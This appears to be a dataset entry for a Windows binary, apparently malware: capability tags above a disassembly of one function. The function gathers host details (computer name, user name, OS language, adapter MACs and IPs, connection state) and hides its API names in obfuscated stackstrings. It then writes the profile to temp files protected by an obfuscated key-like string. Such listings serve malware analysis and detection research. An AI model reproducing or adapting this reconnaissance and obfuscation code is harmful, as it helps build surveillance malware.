Function at 0x4020e7
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get hostname
Get local ipv4 addresses
Get mac address on windows
Get session user name

Disassembly:
mov eax, 0x4180db
call fcn.0040cfd0
mov eax, 0x1794
call fcn.0040dc40
push ebx
push esi
push edi
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x17a0]
push ebx
push eax
call fcn.0040cba0
mov esi, 0x104
lea eax, [ebp - 0x17a0]
push esi
push dword [ebp + 8]
push eax
call fcn.0040cb55
add esp, 0x18
mov ecx, 0xb1
xor eax, eax
lea edi, [ebp - 0x1594]
mov dword [ebp - 0x1598], ebx
rep stosd dword es:[edi], eax
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
mov byte [ebp - 0x20], al
call fcn.00401649
mov edi, 0x425990
push edi
call fcn.0040d3ab
pop ecx
push eax
push edi
lea ecx, [ebp - 0x20]
call fcn.00401607
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x69e]
mov word [ebp - 0x6a0], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x496]
mov word [ebp - 0x498], bx
rep stosd dword es:[edi], eax
push 3
mov byte [ebp - 4], 1
stosw word es:[edi], ax
call fcn.00401f71
mov dword [ebp - 0x58], eax
mov dword [esp], str._Y__m__d__H:_M:_S
lea eax, [ebp - 0x6a0]
push esi
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.0040bf83
pop ecx
mov ecx, eax
call fcn.0040c5bd
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x498]
push str.Time_UTC_:__s_r_n
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0x10
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], esi
push eax
lea eax, [ebp - 0x6a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x498]
push str.ComputerName:__s_r_n
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0x10
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], esi
push eax
lea eax, [ebp - 0x6a0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x498]
push str.UserName:__s_r_n
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0x10
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
lea eax, [ebp - 0x6a0]
push eax
call fcn.00403629
pop ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
push eax
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x498]
push str.OS:__s__language:0x_X__r_n
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0x14
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
mov eax, 0x280
push eax
mov dword [ebp - 0x4c], eax
call fcn.0040d969
mov edi, eax
pop ecx
cmp edi, ebx
mov dword [ebp - 0x24], edi
je 0x40231a
lea eax, [ebp - 0x4c]
push eax
push edi
call fcn.00404bc8
cmp eax, 0x6f
jne 0x40231a
push edi
call fcn.0040d9f5
push dword [ebp - 0x4c]
call fcn.0040d969
pop ecx
mov dword [ebp - 0x24], eax
pop ecx
mov edi, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
push edi
call fcn.00404bc8
cmp eax, ebx
jne 0x4024be
cmp edi, ebx
mov dword [ebp + 8], edi
je 0x4024cc
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0xaae]
mov word [ebp - 0xab0], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x100
lea ecx, [ebp - 0xab0]
push eax
push ecx
push eax
mov eax, dword [ebp + 8]
add eax, 8
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0xab0]
push eax
lea eax, [ebp - 0x498]
push str.Adapter:__s_r_n
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0x10
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0x199]
push ecx
movzx ecx, byte [eax + 0x198]
push ecx
movzx ecx, byte [eax + 0x197]
push ecx
movzx ecx, byte [eax + 0x196]
push ecx
movzx ecx, byte [eax + 0x195]
movzx eax, byte [eax + 0x194]
push ecx
push eax
lea eax, [ebp - 0x498]
push str.___MAC:__02X__02X__02X__02X__02X__02X_r_n
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0x24
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x96]
mov word [ebp - 0x98], bx
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x76]
mov word [ebp - 0x78], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x98]
push 0x10
push eax
lea eax, [edi + 0x1b0]
push 0x10
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x78]
push 0x10
push eax
lea eax, [edi + 0x1c0]
push 0x10
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp dword [edi + 0x1a4], ebx
mov eax, str._DHCP_
jne 0x402475
mov eax, 0x425990
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x498]
push str.___IP:__s__s__s_r_n
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0x18
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
mov edi, dword [edi]
cmp edi, ebx
mov dword [ebp + 8], edi
jne 0x40233a
cmp dword [ebp - 0x24], ebx
je 0x4024cc
push dword [ebp - 0x24]
call fcn.0040d9f5
pop ecx
cmp dword [ebp - 0x58], ebx
je 0x4024d8
push str.Network:_Internet
jmp 0x4024dd
push str.Network:_Closed
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
mov edi, 0x422164
push edi
call fcn.0040d3ab
pop ecx
push eax
push edi
lea ecx, [ebp - 0x20]
call fcn.004035aa
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x8a7]
mov byte [ebp - 0x8a8], bl
push 0x6c
rep stosd dword es:[edi], eax
push 0x6c
push 0x64
push 0x2e
push 0x74
stosw word es:[edi], ax
push 0x65
push 0x6e
push 0x69
push 0x6e
stosb byte es:[edi], al
push 0x69
push 0x77
lea eax, [ebp - 0x8a8]
push 0xb
push eax
call fcn.00401031
add esp, 0x34
lea eax, [ebp - 0x8a8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x4025e5
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x9ab]
mov byte [ebp - 0x9ac], bl
push 0x65
rep stosd dword es:[edi], eax
pop ecx
stosw word es:[edi], ax
push ecx
push 0x74
stosb byte es:[edi], al
pop eax
push eax
push 0x61
push eax
push 0x53
push 0x64
push ecx
push eax
push 0x63
push ecx
push 0x6e
pop edx
push edx
push edx
push 0x6f
push 0x43
push eax
push ecx
push 0x47
push eax
push ecx
push edx
push 0x72
push ecx
push eax
push edx
push 0x49
lea eax, [ebp - 0x9ac]
push 0x19
push eax
call fcn.00401031
add esp, 0x6c
lea eax, [ebp - 0x9ac]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4025dc
lea ecx, [ebp - 0x10]
push ebx
push ecx
call eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test byte [ebp - 0x10], 2
je 0x40261b
lea eax, [ebp - 0x498]
push str.LAN
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
test byte [ebp - 0x10], 1
je 0x402651
lea eax, [ebp - 0x498]
push str.MODEM
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
test byte [ebp - 0x10], 0x20
je 0x402687
lea eax, [ebp - 0x498]
push str.OFFLINE
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
test byte [ebp - 0x10], 0x10
je 0x4026bd
lea eax, [ebp - 0x498]
push str.RAS
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
test byte [ebp - 0x10], 4
je 0x4026f3
lea eax, [ebp - 0x498]
push str.PROXY
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
lea eax, [ebp - 0x498]
push 0x422110
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
movzx eax, word [ebp + 0x2230]
push eax
movzx eax, word [ebp + 0x2232]
push eax
lea eax, [ebp - 0x498]
push str.TTL:__d__initial:_d__r_n_r_n_r_n
push eax
call fcn.0040d3c8
lea eax, [ebp - 0x498]
push eax
call fcn.0040d3ab
add esp, 0x14
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.004035aa
mov edx, 0x81
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x12ce]
mov word [ebp - 0x12d0], bx
mov word [ebp - 0x10c8], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x10c6]
mov word [ebp - 0xec0], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xebe]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x12d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x10c8]
push eax
push ebx
lea eax, [ebp - 0x12d0]
push 0x4220d0
push eax
call edi
lea eax, [ebp - 0xec0]
push eax
push ebx
lea eax, [ebp - 0x12d0]
push 0x4220c8
push eax
call edi
lea eax, [ebp - 0x10c8]
push 0x4220c0
push eax
call fcn.0040dc24
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x4029e5
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jne 0x402810
mov eax, 0x4191b4
mov ecx, dword [ebp - 0x18]
push edi
add ecx, ecx
push 1
push ecx
push eax
call fcn.0040daba
push edi
call fcn.0040da3d
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x7a3]
mov byte [ebp - 0x7a4], bl
mov byte [ebp - 0x54], bl
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x53]
push 0x100
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 0x1a]
push eax
lea eax, [ebp - 0x7a4]
push eax
call fcn.0040cff0
lea eax, [ebp + 0x11a]
push 6
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.0040cff0
add esp, 0x2c
mov eax, dword [0x427ff4]
lea edx, [ebp - 0x54]
push edx
mov ecx, dword [eax]
lea edx, [ebp - 0x7a4]
push edx
lea edx, [ebp - 0xec0]
push edx
lea edx, [ebp - 0x10c8]
push edx
push eax
call dword [ecx + 0x28]
test al, al
je 0x4029e5
lea eax, [ebp - 0xec0]
mov byte [ebp - 0x43], 0x6f
push eax
mov byte [ebp - 0x2f], 0x2d
mov byte [ebp - 0x44], 0x63
mov byte [ebp - 0x36], 0x3d
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x26], 0x39
mov byte [ebp - 0x40], 0x33
mov byte [ebp - 0x2b], 0x33
mov byte [ebp - 0x41], 0x31
mov byte [ebp - 0x2e], 0x26
mov byte [ebp - 0x3f], 0x5b
mov byte [ebp - 0x33], 0x6e
mov byte [ebp - 0x35], 0x3c
mov byte [ebp - 0x3e], 0x4e
mov byte [ebp - 0x3d], 0x29
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x29], 0x32
mov byte [ebp - 0x3b], 0x2b
mov byte [ebp - 0x3c], 0x2a
mov byte [ebp - 0x3a], 0x33
mov byte [ebp - 0x39], 0x4b
mov byte [ebp - 0x27], 0x3c
mov byte [ebp - 0x37], 0x40
mov byte [ebp - 0x38], 0x2c
mov byte [ebp - 0x34], 0x4d
mov byte [ebp - 0x32], 0x59
mov byte [ebp - 0x30], 0x58
mov byte [ebp - 0x2d], 0x5a
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x31], 0x37
mov byte [ebp - 0x28], 0x31
mov byte [ebp - 0x25], bl
call fcn.00405521
lea ecx, [ebp - 0x44]
push ecx
push ebx
push ebx
push 1
push 2
push eax
lea eax, [ebp - 0x1598]
push eax
call fcn.004055ee
lea eax, [ebp - 0x1598]
push eax
lea eax, [ebp - 0xec0]
push eax
lea eax, [ebp - 0x17a0]
push eax
call fcn.00405489
add esp, 0x2c
mov byte [ebp + 0xb], al
xor eax, eax
lea edi, [ebp - 0xbb3]
push 0x40
mov byte [ebp - 0xbb4], bl
pop ecx
mov byte [ebp - 0xcb8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0xcb7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea eax, [ebp - 0xbb4]
push esi
push eax
lea eax, [ebp - 0x10c8]
push esi
push eax
push ebx
push ebx
call edi
mov eax, dword [0x427ff4]
lea edx, [ebp - 0xbb4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push ebx
push ebx
lea eax, [ebp - 0xcb8]
push esi
push eax
lea eax, [ebp - 0xec0]
push esi
push eax
push ebx
push ebx
call edi
mov eax, dword [0x427ff4]
lea edx, [ebp - 0xcb8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp byte [ebp + 0xb], bl
je 0x4029e5
push 1
pop esi
jmp 0x4029e7
xor esi, esi
push 1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.00401649
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret